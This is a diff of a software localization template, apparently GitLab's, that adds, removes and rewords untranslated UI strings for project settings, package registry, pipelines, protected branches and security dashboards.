+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
